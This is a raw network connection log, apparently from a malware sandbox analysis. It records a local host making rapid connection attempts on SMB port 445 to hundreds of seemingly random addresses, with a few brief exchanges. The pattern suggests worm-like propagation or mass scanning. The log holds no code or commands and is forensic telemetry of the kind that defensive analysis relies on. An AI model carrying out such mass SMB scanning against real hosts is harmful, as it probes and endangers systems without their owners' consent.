Dec 22, 2022 10:07:09.792167902 CET	61050	445	192.168.2.6	175.72.144.215
Dec 22, 2022 10:07:09.792407036 CET	61052	445	192.168.2.6	53.215.54.10
Dec 22, 2022 10:07:09.792860031 CET	61058	445	192.168.2.6	32.166.74.147
Dec 22, 2022 10:07:09.793255091 CET	61062	445	192.168.2.6	169.117.172.204
Dec 22, 2022 10:07:09.793476105 CET	61064	445	192.168.2.6	10.80.229.51
Dec 22, 2022 10:07:09.793680906 CET	61066	445	192.168.2.6	169.180.58.121
Dec 22, 2022 10:07:09.795233011 CET	61078	445	192.168.2.6	95.207.217.29
Dec 22, 2022 10:07:09.795610905 CET	61079	445	192.168.2.6	31.198.114.169
Dec 22, 2022 10:07:09.796822071 CET	61081	445	192.168.2.6	37.69.53.173
Dec 22, 2022 10:07:09.797807932 CET	61082	445	192.168.2.6	97.241.200.196
Dec 22, 2022 10:07:09.798707962 CET	61083	445	192.168.2.6	184.34.248.114
Dec 22, 2022 10:07:09.799685955 CET	61084	445	192.168.2.6	172.183.230.20
Dec 22, 2022 10:07:09.800597906 CET	61085	445	192.168.2.6	137.224.143.170
Dec 22, 2022 10:07:09.811367035 CET	61086	445	192.168.2.6	24.130.75.98
Dec 22, 2022 10:07:09.811598063 CET	61087	445	192.168.2.6	211.39.45.173
Dec 22, 2022 10:07:09.811877012 CET	61090	445	192.168.2.6	105.188.28.115
Dec 22, 2022 10:07:09.813052893 CET	61101	445	192.168.2.6	126.145.198.195
Dec 22, 2022 10:07:09.813191891 CET	61103	445	192.168.2.6	175.123.59.13
Dec 22, 2022 10:07:09.813452959 CET	61106	445	192.168.2.6	132.248.75.201
Dec 22, 2022 10:07:09.814089060 CET	61120	445	192.168.2.6	167.169.121.236
Dec 22, 2022 10:07:10.145183086 CET	61123	445	192.168.2.6	188.18.129.18
Dec 22, 2022 10:07:10.410481930 CET	61126	445	192.168.2.6	176.210.131.95
Dec 22, 2022 10:07:10.879688978 CET	61132	445	192.168.2.6	142.191.145.231
Dec 22, 2022 10:07:10.879688978 CET	61130	445	192.168.2.6	56.225.114.96
Dec 22, 2022 10:07:10.896681070 CET	61136	445	192.168.2.6	117.46.209.243
Dec 22, 2022 10:07:10.897166967 CET	61139	445	192.168.2.6	99.70.162.26
Dec 22, 2022 10:07:10.898063898 CET	61144	445	192.168.2.6	174.94.45.200
Dec 22, 2022 10:07:10.898441076 CET	61149	445	192.168.2.6	190.36.252.117
Dec 22, 2022 10:07:10.899041891 CET	61156	445	192.168.2.6	37.118.161.101
Dec 22, 2022 10:07:10.899224043 CET	61158	445	192.168.2.6	11.125.205.89
Dec 22, 2022 10:07:10.899358988 CET	61160	445	192.168.2.6	211.39.125.185
Dec 22, 2022 10:07:10.899923086 CET	61166	445	192.168.2.6	98.175.215.14
Dec 22, 2022 10:07:10.900219917 CET	61170	445	192.168.2.6	90.138.103.244
Dec 22, 2022 10:07:10.900464058 CET	61172	445	192.168.2.6	95.225.76.240
Dec 22, 2022 10:07:10.900718927 CET	61174	445	192.168.2.6	5.73.40.57
Dec 22, 2022 10:07:10.901592970 CET	61186	445	192.168.2.6	106.41.92.176
Dec 22, 2022 10:07:10.901670933 CET	61187	445	192.168.2.6	88.230.225.42
Dec 22, 2022 10:07:10.902371883 CET	61189	445	192.168.2.6	206.114.63.146
Dec 22, 2022 10:07:10.902879000 CET	61190	445	192.168.2.6	149.123.185.114
Dec 22, 2022 10:07:10.903446913 CET	61191	445	192.168.2.6	211.248.175.143
Dec 22, 2022 10:07:10.904301882 CET	61195	445	192.168.2.6	176.130.66.55
Dec 22, 2022 10:07:10.918551922 CET	61197	445	192.168.2.6	83.134.60.81
Dec 22, 2022 10:07:10.919789076 CET	61210	445	192.168.2.6	202.21.65.106
Dec 22, 2022 10:07:10.920027018 CET	61214	445	192.168.2.6	173.212.170.158
Dec 22, 2022 10:07:10.920164108 CET	61216	445	192.168.2.6	153.3.210.82
Dec 22, 2022 10:07:10.920696974 CET	61227	445	192.168.2.6	117.215.157.39
Dec 22, 2022 10:07:10.920835972 CET	61230	445	192.168.2.6	184.254.72.16
Dec 22, 2022 10:07:10.920907974 CET	61192	445	192.168.2.6	87.25.57.173
Dec 22, 2022 10:07:10.921557903 CET	61231	445	192.168.2.6	66.70.81.75
Dec 22, 2022 10:07:10.921644926 CET	61232	445	192.168.2.6	109.23.120.173
Dec 22, 2022 10:07:11.207777977 CET	61235	445	192.168.2.6	188.18.129.19
Dec 22, 2022 10:07:11.477510929 CET	61238	445	192.168.2.6	176.210.131.96
Dec 22, 2022 10:07:11.957212925 CET	60357	445	192.168.2.6	84.6.126.3
Dec 22, 2022 10:07:11.988966942 CET	61242	445	192.168.2.6	157.148.200.179
Dec 22, 2022 10:07:11.988976002 CET	61244	445	192.168.2.6	105.16.254.234
Dec 22, 2022 10:07:12.022012949 CET	61249	445	192.168.2.6	93.220.182.160
Dec 22, 2022 10:07:12.022121906 CET	61251	445	192.168.2.6	44.224.27.113
Dec 22, 2022 10:07:12.022748947 CET	61262	445	192.168.2.6	140.141.151.34
Dec 22, 2022 10:07:12.022860050 CET	61265	445	192.168.2.6	179.241.43.19
Dec 22, 2022 10:07:12.023000002 CET	61267	445	192.168.2.6	204.243.145.247
Dec 22, 2022 10:07:12.023307085 CET	61271	445	192.168.2.6	64.56.147.244
Dec 22, 2022 10:07:12.023571014 CET	61277	445	192.168.2.6	222.41.19.42
Dec 22, 2022 10:07:12.023646116 CET	61279	445	192.168.2.6	58.15.11.73
Dec 22, 2022 10:07:12.023761988 CET	61281	445	192.168.2.6	137.183.234.226
Dec 22, 2022 10:07:12.024097919 CET	61288	445	192.168.2.6	221.32.245.30
Dec 22, 2022 10:07:12.024379015 CET	61293	445	192.168.2.6	185.145.207.201
Dec 22, 2022 10:07:12.024766922 CET	61298	445	192.168.2.6	206.69.169.217
Dec 22, 2022 10:07:12.024986982 CET	61301	445	192.168.2.6	122.77.186.42
Dec 22, 2022 10:07:12.025194883 CET	61305	445	192.168.2.6	62.58.97.252
Dec 22, 2022 10:07:12.025330067 CET	61307	445	192.168.2.6	8.7.54.209
Dec 22, 2022 10:07:12.025469065 CET	61309	445	192.168.2.6	8.169.69.123
Dec 22, 2022 10:07:12.026181936 CET	61322	445	192.168.2.6	193.65.32.147
Dec 22, 2022 10:07:12.026314020 CET	61323	445	192.168.2.6	172.180.24.40
Dec 22, 2022 10:07:12.026387930 CET	61324	445	192.168.2.6	212.47.148.211
Dec 22, 2022 10:07:12.028119087 CET	61326	445	192.168.2.6	136.108.124.65
Dec 22, 2022 10:07:12.028553963 CET	61327	445	192.168.2.6	88.116.30.192
Dec 22, 2022 10:07:12.028841019 CET	61328	445	192.168.2.6	76.191.84.20
Dec 22, 2022 10:07:12.032154083 CET	61329	445	192.168.2.6	183.172.236.58
Dec 22, 2022 10:07:12.032156944 CET	61330	445	192.168.2.6	46.188.198.245
Dec 22, 2022 10:07:12.032257080 CET	61331	445	192.168.2.6	130.168.52.60
Dec 22, 2022 10:07:12.036036015 CET	61333	445	192.168.2.6	107.184.171.225
Dec 22, 2022 10:07:12.151503086 CET	445	61262	140.141.151.34	192.168.2.6
Dec 22, 2022 10:07:12.286166906 CET	61347	445	192.168.2.6	188.18.129.20
Dec 22, 2022 10:07:12.536076069 CET	61350	445	192.168.2.6	176.210.131.97
Dec 22, 2022 10:07:12.641434908 CET	445	61350	176.210.131.97	192.168.2.6
Dec 22, 2022 10:07:12.641644955 CET	61350	445	192.168.2.6	176.210.131.97
Dec 22, 2022 10:07:12.641701937 CET	61350	445	192.168.2.6	176.210.131.97
Dec 22, 2022 10:07:12.642203093 CET	61351	445	192.168.2.6	176.210.131.97
Dec 22, 2022 10:07:12.660366058 CET	61262	445	192.168.2.6	140.141.151.34
Dec 22, 2022 10:07:12.745358944 CET	445	61350	176.210.131.97	192.168.2.6
Dec 22, 2022 10:07:12.749661922 CET	445	61351	176.210.131.97	192.168.2.6
Dec 22, 2022 10:07:12.749833107 CET	61351	445	192.168.2.6	176.210.131.97
Dec 22, 2022 10:07:12.749912024 CET	61351	445	192.168.2.6	176.210.131.97
Dec 22, 2022 10:07:12.753359079 CET	445	61350	176.210.131.97	192.168.2.6
Dec 22, 2022 10:07:12.753494024 CET	61350	445	192.168.2.6	176.210.131.97
Dec 22, 2022 10:07:12.789077044 CET	445	61262	140.141.151.34	192.168.2.6
Dec 22, 2022 10:07:12.857584953 CET	445	61351	176.210.131.97	192.168.2.6
Dec 22, 2022 10:07:12.865642071 CET	445	61351	176.210.131.97	192.168.2.6
Dec 22, 2022 10:07:12.865780115 CET	61351	445	192.168.2.6	176.210.131.97
Dec 22, 2022 10:07:12.977773905 CET	445	61351	176.210.131.97	192.168.2.6
Dec 22, 2022 10:07:12.978024960 CET	61351	445	192.168.2.6	176.210.131.97
Dec 22, 2022 10:07:13.085771084 CET	445	61351	176.210.131.97	192.168.2.6
Dec 22, 2022 10:07:13.085896969 CET	61351	445	192.168.2.6	176.210.131.97
Dec 22, 2022 10:07:13.114394903 CET	61355	445	192.168.2.6	106.157.5.7
Dec 22, 2022 10:07:13.114814043 CET	61357	445	192.168.2.6	101.49.242.28
Dec 22, 2022 10:07:13.129769087 CET	61361	445	192.168.2.6	104.57.88.117
Dec 22, 2022 10:07:13.130239010 CET	61362	445	192.168.2.6	161.250.25.58
Dec 22, 2022 10:07:13.130737066 CET	61363	445	192.168.2.6	138.196.10.218
Dec 22, 2022 10:07:13.131264925 CET	61364	445	192.168.2.6	212.248.29.246
Dec 22, 2022 10:07:13.131807089 CET	61365	445	192.168.2.6	51.133.103.214
Dec 22, 2022 10:07:13.132361889 CET	61371	445	192.168.2.6	110.245.108.119
Dec 22, 2022 10:07:13.132616043 CET	61373	445	192.168.2.6	95.211.102.88
Dec 22, 2022 10:07:13.132765055 CET	61376	445	192.168.2.6	168.13.107.238
Dec 22, 2022 10:07:13.132932901 CET	61381	445	192.168.2.6	135.135.55.216
Dec 22, 2022 10:07:13.133209944 CET	61387	445	192.168.2.6	88.247.247.73
Dec 22, 2022 10:07:13.133363962 CET	61391	445	192.168.2.6	192.233.120.213
Dec 22, 2022 10:07:13.133443117 CET	61393	445	192.168.2.6	207.238.147.140
Dec 22, 2022 10:07:13.133683920 CET	61398	445	192.168.2.6	32.78.80.136
Dec 22, 2022 10:07:13.133850098 CET	61401	445	192.168.2.6	107.61.30.136
Dec 22, 2022 10:07:13.133861065 CET	61402	445	192.168.2.6	7.131.49.161
Dec 22, 2022 10:07:13.134423971 CET	61415	445	192.168.2.6	92.230.192.97
Dec 22, 2022 10:07:13.134486914 CET	61416	445	192.168.2.6	12.41.42.175
Dec 22, 2022 10:07:13.134630919 CET	61417	445	192.168.2.6	90.77.203.40
Dec 22, 2022 10:07:13.134884119 CET	61419	445	192.168.2.6	22.197.74.71
Dec 22, 2022 10:07:13.135104895 CET	61423	445	192.168.2.6	184.227.48.99
Dec 22, 2022 10:07:13.135212898 CET	61424	445	192.168.2.6	141.86.200.235
Dec 22, 2022 10:07:13.135684013 CET	61436	445	192.168.2.6	11.234.95.251
Dec 22, 2022 10:07:13.135718107 CET	61438	445	192.168.2.6	204.7.115.14
Dec 22, 2022 10:07:13.135834932 CET	61440	445	192.168.2.6	171.253.212.112
Dec 22, 2022 10:07:13.136065006 CET	61444	445	192.168.2.6	105.70.104.196
Dec 22, 2022 10:07:13.160975933 CET	61447	445	192.168.2.6	18.233.242.53
Dec 22, 2022 10:07:13.193732023 CET	445	61351	176.210.131.97	192.168.2.6
Dec 22, 2022 10:07:13.231193066 CET	61351	445	192.168.2.6	176.210.131.97
Dec 22, 2022 10:07:13.341888905 CET	445	61351	176.210.131.97	192.168.2.6
Dec 22, 2022 10:07:13.341969013 CET	61351	445	192.168.2.6	176.210.131.97
Dec 22, 2022 10:07:13.363711119 CET	61461	445	192.168.2.6	188.18.129.21
Dec 22, 2022 10:07:13.426117897 CET	60467	445	192.168.2.6	134.220.39.2
Dec 22, 2022 10:07:13.502367973 CET	60468	445	192.168.2.6	134.220.39.2
Dec 22, 2022 10:07:14.241066933 CET	61468	445	192.168.2.6	145.220.8.120
Dec 22, 2022 10:07:14.244282007 CET	61470	445	192.168.2.6	130.238.65.18
Dec 22, 2022 10:07:14.245177984 CET	61481	445	192.168.2.6	51.208.47.12
Dec 22, 2022 10:07:14.245418072 CET	61483	445	192.168.2.6	109.244.6.49
Dec 22, 2022 10:07:14.245959997 CET	61489	445	192.168.2.6	129.233.218.31
Dec 22, 2022 10:07:14.246201038 CET	61492	445	192.168.2.6	37.221.234.68
Dec 22, 2022 10:07:14.246373892 CET	61494	445	192.168.2.6	20.49.23.193
Dec 22, 2022 10:07:14.247098923 CET	61499	445	192.168.2.6	34.109.176.38
Dec 22, 2022 10:07:14.247427940 CET	61503	445	192.168.2.6	23.14.13.105
Dec 22, 2022 10:07:14.247667074 CET	61506	445	192.168.2.6	162.85.230.122
Dec 22, 2022 10:07:14.248003960 CET	61508	445	192.168.2.6	213.108.133.207
Dec 22, 2022 10:07:14.248575926 CET	61512	445	192.168.2.6	12.29.203.40
Dec 22, 2022 10:07:14.248925924 CET	61515	445	192.168.2.6	182.100.44.74
Dec 22, 2022 10:07:14.249183893 CET	61516	445	192.168.2.6	152.12.45.243
Dec 22, 2022 10:07:14.249388933 CET	61517	445	192.168.2.6	54.226.58.103
Dec 22, 2022 10:07:14.249641895 CET	61518	445	192.168.2.6	26.85.173.174
Dec 22, 2022 10:07:14.250030994 CET	61523	445	192.168.2.6	212.133.85.169
Dec 22, 2022 10:07:14.250538111 CET	61529	445	192.168.2.6	112.217.240.224
Dec 22, 2022 10:07:14.251045942 CET	61535	445	192.168.2.6	214.201.11.72
Dec 22, 2022 10:07:14.251142025 CET	61536	445	192.168.2.6	55.120.115.146
Dec 22, 2022 10:07:14.251218081 CET	61537	445	192.168.2.6	85.110.29.13
Dec 22, 2022 10:07:14.252012968 CET	61548	445	192.168.2.6	7.155.20.112
Dec 22, 2022 10:07:14.252254963 CET	61550	445	192.168.2.6	76.41.122.58
Dec 22, 2022 10:07:14.252458096 CET	61551	445	192.168.2.6	18.169.8.252
Dec 22, 2022 10:07:14.252837896 CET	61555	445	192.168.2.6	215.194.80.97
Dec 22, 2022 10:07:14.252924919 CET	61556	445	192.168.2.6	178.154.62.136
Dec 22, 2022 10:07:14.252944946 CET	61466	445	192.168.2.6	113.39.134.42
Dec 22, 2022 10:07:14.271768093 CET	61569	445	192.168.2.6	125.222.218.91
Dec 22, 2022 10:07:14.309674978 CET	445	61508	213.108.133.207	192.168.2.6
Dec 22, 2022 10:07:14.427150011 CET	61572	445	192.168.2.6	188.18.129.22
Dec 22, 2022 10:07:14.508018970 CET	445	61572	188.18.129.22	192.168.2.6
Dec 22, 2022 10:07:14.508120060 CET	61572	445	192.168.2.6	188.18.129.22
Dec 22, 2022 10:07:14.508207083 CET	61572	445	192.168.2.6	188.18.129.22
Dec 22, 2022 10:07:14.510451078 CET	61574	445	192.168.2.6	188.18.129.22
Dec 22, 2022 10:07:14.592026949 CET	445	61572	188.18.129.22	192.168.2.6
Dec 22, 2022 10:07:14.596019030 CET	445	61572	188.18.129.22	192.168.2.6
Dec 22, 2022 10:07:14.596225023 CET	445	61574	188.18.129.22	192.168.2.6
Dec 22, 2022 10:07:14.596270084 CET	61572	445	192.168.2.6	188.18.129.22
Dec 22, 2022 10:07:14.596344948 CET	61574	445	192.168.2.6	188.18.129.22
Dec 22, 2022 10:07:14.596416950 CET	61574	445	192.168.2.6	188.18.129.22
Dec 22, 2022 10:07:14.680473089 CET	445	61574	188.18.129.22	192.168.2.6
Dec 22, 2022 10:07:14.688405037 CET	445	61574	188.18.129.22	192.168.2.6
Dec 22, 2022 10:07:14.688527107 CET	61574	445	192.168.2.6	188.18.129.22
Dec 22, 2022 10:07:14.776333094 CET	445	61574	188.18.129.22	192.168.2.6
Dec 22, 2022 10:07:14.776597023 CET	61574	445	192.168.2.6	188.18.129.22
Dec 22, 2022 10:07:14.816711903 CET	61508	445	192.168.2.6	213.108.133.207
Dec 22, 2022 10:07:14.860549927 CET	445	61574	188.18.129.22	192.168.2.6
Dec 22, 2022 10:07:14.860713959 CET	61574	445	192.168.2.6	188.18.129.22
Dec 22, 2022 10:07:14.878556013 CET	445	61508	213.108.133.207	192.168.2.6
Dec 22, 2022 10:07:14.944381952 CET	445	61574	188.18.129.22	192.168.2.6
Dec 22, 2022 10:07:14.988658905 CET	61574	445	192.168.2.6	188.18.129.22
Dec 22, 2022 10:07:15.323477983 CET	61574	445	192.168.2.6	188.18.129.22
Dec 22, 2022 10:07:15.412450075 CET	445	61574	188.18.129.22	192.168.2.6
Dec 22, 2022 10:07:15.412677050 CET	61574	445	192.168.2.6	188.18.129.22
Dec 22, 2022 10:07:15.426589966 CET	61580	445	192.168.2.6	43.224.114.141
Dec 22, 2022 10:07:15.426980972 CET	61584	445	192.168.2.6	14.249.208.141
Dec 22, 2022 10:07:15.427166939 CET	61586	445	192.168.2.6	85.240.138.156
Dec 22, 2022 10:07:15.427453995 CET	61590	445	192.168.2.6	141.214.90.4
Dec 22, 2022 10:07:15.427705050 CET	61593	445	192.168.2.6	100.184.38.210
Dec 22, 2022 10:07:15.427809000 CET	61594	445	192.168.2.6	220.152.254.216
Dec 22, 2022 10:07:15.427896023 CET	61595	445	192.168.2.6	83.14.109.130
Dec 22, 2022 10:07:15.427987099 CET	61596	445	192.168.2.6	37.57.216.161
Dec 22, 2022 10:07:15.428361893 CET	61601	445	192.168.2.6	200.2.53.229
Dec 22, 2022 10:07:15.429229975 CET	61607	445	192.168.2.6	121.128.159.160
Dec 22, 2022 10:07:15.429230928 CET	61613	445	192.168.2.6	160.48.161.204
Dec 22, 2022 10:07:15.429425001 CET	61615	445	192.168.2.6	110.239.206.197
Dec 22, 2022 10:07:15.429924965 CET	61614	445	192.168.2.6	195.81.61.191
Dec 22, 2022 10:07:15.430146933 CET	61626	445	192.168.2.6	63.181.193.225
Dec 22, 2022 10:07:15.430315018 CET	61628	445	192.168.2.6	62.144.246.52
Dec 22, 2022 10:07:15.430423021 CET	61629	445	192.168.2.6	26.153.88.114
Dec 22, 2022 10:07:15.430754900 CET	61633	445	192.168.2.6	163.200.27.84
Dec 22, 2022 10:07:15.430835962 CET	61634	445	192.168.2.6	56.152.223.244
Dec 22, 2022 10:07:15.430948019 CET	61635	445	192.168.2.6	113.153.248.70
Dec 22, 2022 10:07:15.431866884 CET	61648	445	192.168.2.6	18.220.183.26
Dec 22, 2022 10:07:15.432071924 CET	61651	445	192.168.2.6	167.236.93.164
Dec 22, 2022 10:07:15.432779074 CET	61662	445	192.168.2.6	206.169.21.30
Dec 22, 2022 10:07:15.432936907 CET	61664	445	192.168.2.6	88.222.250.144
Dec 22, 2022 10:07:15.433346987 CET	61670	445	192.168.2.6	191.15.154.215
Dec 22, 2022 10:07:15.433623075 CET	61673	445	192.168.2.6	215.160.90.95
Dec 22, 2022 10:07:15.433732986 CET	61675	445	192.168.2.6	219.211.132.65
Dec 22, 2022 10:07:15.434132099 CET	61680	445	192.168.2.6	160.184.74.37
Dec 22, 2022 10:07:15.434428930 CET	61684	445	192.168.2.6	114.44.181.149
Dec 22, 2022 10:07:15.696898937 CET	445	61670	191.15.154.215	192.168.2.6
Dec 22, 2022 10:07:16.207560062 CET	61670	445	192.168.2.6	191.15.154.215
Dec 22, 2022 10:07:16.477813005 CET	445	61670	191.15.154.215	192.168.2.6
Dec 22, 2022 10:07:16.913866997 CET	61689	445	192.168.2.6	176.210.131.97
Dec 22, 2022 10:07:16.913991928 CET	61690	445	192.168.2.6	134.220.39.2
Dec 22, 2022 10:07:16.947448969 CET	445	61690	134.220.39.2	192.168.2.6
Dec 22, 2022 10:07:16.947614908 CET	61690	445	192.168.2.6	134.220.39.2
Dec 22, 2022 10:07:17.018368006 CET	445	61689	176.210.131.97	192.168.2.6
Dec 22, 2022 10:07:17.018534899 CET	61689	445	192.168.2.6	176.210.131.97
Dec 22, 2022 10:07:17.018903017 CET	61689	445	192.168.2.6	176.210.131.97
Dec 22, 2022 10:07:17.020482063 CET	61691	445	192.168.2.6	94.242.170.135
Dec 22, 2022 10:07:17.020931959 CET	61697	445	192.168.2.6	195.65.241.197
Dec 22, 2022 10:07:17.021012068 CET	61698	445	192.168.2.6	165.179.145.134
Dec 22, 2022 10:07:17.021111012 CET	61699	445	192.168.2.6	155.142.154.253
Dec 22, 2022 10:07:17.021982908 CET	61712	445	192.168.2.6	131.27.112.148
Dec 22, 2022 10:07:17.022234917 CET	61715	445	192.168.2.6	195.17.15.153
Dec 22, 2022 10:07:17.023008108 CET	61726	445	192.168.2.6	52.204.225.183
Dec 22, 2022 10:07:17.023214102 CET	61728	445	192.168.2.6	20.27.20.160
Dec 22, 2022 10:07:17.023673058 CET	61734	445	192.168.2.6	167.82.130.99
Dec 22, 2022 10:07:17.023919106 CET	61737	445	192.168.2.6	134.222.34.207
Dec 22, 2022 10:07:17.024086952 CET	61739	445	192.168.2.6	44.76.129.49
Dec 22, 2022 10:07:17.024485111 CET	61744	445	192.168.2.6	41.252.212.249
Dec 22, 2022 10:07:17.024787903 CET	61748	445	192.168.2.6	67.105.22.119
Dec 22, 2022 10:07:17.025404930 CET	61757	445	192.168.2.6	107.226.174.18
Dec 22, 2022 10:07:17.025568962 CET	61759	445	192.168.2.6	100.112.228.183
Dec 22, 2022 10:07:17.025882959 CET	61763	445	192.168.2.6	16.20.164.115
Dec 22, 2022 10:07:17.026139021 CET	61766	445	192.168.2.6	95.95.234.229
Dec 22, 2022 10:07:17.026223898 CET	61767	445	192.168.2.6	13.191.158.248
Dec 22, 2022 10:07:17.026313066 CET	61768	445	192.168.2.6	129.3.189.73
Dec 22, 2022 10:07:17.026413918 CET	61769	445	192.168.2.6	18.201.42.168
Dec 22, 2022 10:07:17.026823997 CET	61774	445	192.168.2.6	194.154.11.250
Dec 22, 2022 10:07:17.027256012 CET	61780	445	192.168.2.6	105.55.242.238
Dec 22, 2022 10:07:17.027717113 CET	61786	445	192.168.2.6	41.231.118.67
Dec 22, 2022 10:07:17.027812004 CET	61787	445	192.168.2.6	48.89.84.252
Dec 22, 2022 10:07:17.027905941 CET	61788	445	192.168.2.6	119.222.54.34
Dec 22, 2022 10:07:17.028687000 CET	61799	445	192.168.2.6	135.203.113.108
Dec 22, 2022 10:07:17.028872967 CET	61801	445	192.168.2.6	75.11.182.75
Dec 22, 2022 10:07:17.029078960 CET	61802	445	192.168.2.6	190.188.94.249
Dec 22, 2022 10:07:17.065176964 CET	445	61330	46.188.198.245	192.168.2.6
Dec 22, 2022 10:07:17.122832060 CET	445	61689	176.210.131.97	192.168.2.6
Dec 22, 2022 10:07:17.129998922 CET	445	61689	176.210.131.97	192.168.2.6
Dec 22, 2022 10:07:17.130182981 CET	61689	445	192.168.2.6	176.210.131.97
Dec 22, 2022 10:07:17.238425970 CET	445	61689	176.210.131.97	192.168.2.6
Dec 22, 2022 10:07:17.238681078 CET	61689	445	192.168.2.6	176.210.131.97
Dec 22, 2022 10:07:17.346353054 CET	445	61689	176.210.131.97	192.168.2.6
Dec 22, 2022 10:07:17.346493006 CET	61689	445	192.168.2.6	176.210.131.97
Dec 22, 2022 10:07:17.375416994 CET	61690	445	192.168.2.6	134.220.39.2
Dec 22, 2022 10:07:17.454498053 CET	445	61689	176.210.131.97	192.168.2.6
Dec 22, 2022 10:07:17.454619884 CET	61689	445	192.168.2.6	176.210.131.97
Dec 22, 2022 10:07:17.522582054 CET	61804	445	192.168.2.6	176.210.131.98
Dec 22, 2022 10:07:17.562279940 CET	445	61689	176.210.131.97	192.168.2.6
Dec 22, 2022 10:07:17.562380075 CET	61689	445	192.168.2.6	176.210.131.97
Dec 22, 2022 10:07:17.723431110 CET	61690	445	192.168.2.6	134.220.39.2
Dec 22, 2022 10:07:18.129888058 CET	61807	445	192.168.2.6	163.89.206.36
Dec 22, 2022 10:07:18.130579948 CET	61810	445	192.168.2.6	183.47.216.141
Dec 22, 2022 10:07:18.130605936 CET	61812	445	192.168.2.6	89.189.204.92
Dec 22, 2022 10:07:18.130861998 CET	61816	445	192.168.2.6	153.55.106.208
Dec 22, 2022 10:07:18.131033897 CET	61820	445	192.168.2.6	11.37.59.144
Dec 22, 2022 10:07:18.131570101 CET	61828	445	192.168.2.6	11.131.149.149
Dec 22, 2022 10:07:18.131859064 CET	61839	445	192.168.2.6	104.110.23.190
Dec 22, 2022 10:07:18.132179022 CET	61847	445	192.168.2.6	200.193.27.98
Dec 22, 2022 10:07:18.132352114 CET	61850	445	192.168.2.6	30.135.230.240
Dec 22, 2022 10:07:18.132457018 CET	61853	445	192.168.2.6	179.2.56.246
Dec 22, 2022 10:07:18.132487059 CET	61852	445	192.168.2.6	47.24.31.176
Dec 22, 2022 10:07:18.132956028 CET	61862	445	192.168.2.6	183.169.184.115
Dec 22, 2022 10:07:18.133115053 CET	61866	445	192.168.2.6	87.161.233.11
Dec 22, 2022 10:07:18.133119106 CET	61867	445	192.168.2.6	118.0.142.154
Dec 22, 2022 10:07:18.133287907 CET	61870	445	192.168.2.6	215.136.197.111
Dec 22, 2022 10:07:18.133403063 CET	61872	445	192.168.2.6	153.138.247.66
Dec 22, 2022 10:07:18.133488894 CET	61868	445	192.168.2.6	110.81.216.35
Dec 22, 2022 10:07:18.133910894 CET	61883	445	192.168.2.6	139.50.108.212
Dec 22, 2022 10:07:18.134217978 CET	61890	445	192.168.2.6	191.140.72.51
Dec 22, 2022 10:07:18.134219885 CET	61889	445	192.168.2.6	188.206.36.37
Dec 22, 2022 10:07:18.134331942 CET	61891	445	192.168.2.6	14.165.127.215
Dec 22, 2022 10:07:18.134378910 CET	61892	445	192.168.2.6	142.152.197.127
Dec 22, 2022 10:07:18.134588003 CET	61896	445	192.168.2.6	139.77.250.82
Dec 22, 2022 10:07:18.134717941 CET	61899	445	192.168.2.6	28.227.143.12
Dec 22, 2022 10:07:18.134845972 CET	61902	445	192.168.2.6	15.67.123.197
Dec 22, 2022 10:07:18.135041952 CET	61905	445	192.168.2.6	218.96.133.99
Dec 22, 2022 10:07:18.135092974 CET	61907	445	192.168.2.6	79.105.203.82
Dec 22, 2022 10:07:18.135607958 CET	61913	445	192.168.2.6	50.34.248.143
Dec 22, 2022 10:07:18.333098888 CET	61917	445	192.168.2.6	188.18.129.22
Dec 22, 2022 10:07:18.416402102 CET	445	61917	188.18.129.22	192.168.2.6
Dec 22, 2022 10:07:18.416512012 CET	61917	445	192.168.2.6	188.18.129.22
Dec 22, 2022 10:07:18.416553020 CET	61917	445	192.168.2.6	188.18.129.22
Dec 22, 2022 10:07:18.496340990 CET	445	61917	188.18.129.22	192.168.2.6
Dec 22, 2022 10:07:18.500405073 CET	445	61917	188.18.129.22	192.168.2.6
Dec 22, 2022 10:07:18.500698090 CET	61917	445	192.168.2.6	188.18.129.22
Dec 22, 2022 10:07:18.520226955 CET	61690	445	192.168.2.6	134.220.39.2
Dec 22, 2022 10:07:18.580382109 CET	445	61917	188.18.129.22	192.168.2.6
Dec 22, 2022 10:07:18.580841064 CET	61917	445	192.168.2.6	188.18.129.22
Dec 22, 2022 10:07:18.583421946 CET	61919	445	192.168.2.6	176.210.131.99
Dec 22, 2022 10:07:18.660404921 CET	445	61917	188.18.129.22	192.168.2.6
Dec 22, 2022 10:07:18.660516024 CET	61917	445	192.168.2.6	188.18.129.22
Dec 22, 2022 10:07:18.740453959 CET	445	61917	188.18.129.22	192.168.2.6
Dec 22, 2022 10:07:18.740739107 CET	61917	445	192.168.2.6	188.18.129.22
Dec 22, 2022 10:07:18.802261114 CET	61920	445	192.168.2.6	188.18.129.23
Dec 22, 2022 10:07:18.820436954 CET	445	61917	188.18.129.22	192.168.2.6
Dec 22, 2022 10:07:18.820781946 CET	61917	445	192.168.2.6	188.18.129.22
Dec 22, 2022 10:07:19.239905119 CET	61923	445	192.168.2.6	159.234.238.132
Dec 22, 2022 10:07:19.240855932 CET	61933	445	192.168.2.6	121.127.0.4
Dec 22, 2022 10:07:19.240855932 CET	61934	445	192.168.2.6	195.17.190.36
Dec 22, 2022 10:07:19.240859032 CET	61930	445	192.168.2.6	50.1.7.69
Dec 22, 2022 10:07:19.241261959 CET	61935	445	192.168.2.6	15.189.0.43
Dec 22, 2022 10:07:19.241270065 CET	61939	445	192.168.2.6	22.219.127.65
Dec 22, 2022 10:07:19.242086887 CET	61950	445	192.168.2.6	134.172.31.41
Dec 22, 2022 10:07:19.242089987 CET	61956	445	192.168.2.6	183.20.210.150
Dec 22, 2022 10:07:19.242259979 CET	61958	445	192.168.2.6	69.193.246.206
Dec 22, 2022 10:07:19.242592096 CET	61959	445	192.168.2.6	142.29.174.99
Dec 22, 2022 10:07:19.242595911 CET	61936	445	192.168.2.6	29.245.148.0
Dec 22, 2022 10:07:19.242595911 CET	61964	445	192.168.2.6	110.36.43.234
Dec 22, 2022 10:07:19.242852926 CET	61965	445	192.168.2.6	61.19.1.215
Dec 22, 2022 10:07:19.242854118 CET	61957	445	192.168.2.6	118.170.172.61
Dec 22, 2022 10:07:19.242854118 CET	61969	445	192.168.2.6	215.192.5.199
Dec 22, 2022 10:07:19.243127108 CET	61973	445	192.168.2.6	43.230.15.189
Dec 22, 2022 10:07:19.243129969 CET	61974	445	192.168.2.6	194.214.206.212
Dec 22, 2022 10:07:19.244292974 CET	61980	445	192.168.2.6	192.100.125.48
Dec 22, 2022 10:07:19.245114088 CET	62007	445	192.168.2.6	124.154.119.155
Dec 22, 2022 10:07:19.245121002 CET	62005	445	192.168.2.6	193.18.107.124
Dec 22, 2022 10:07:19.245245934 CET	62009	445	192.168.2.6	197.123.12.42
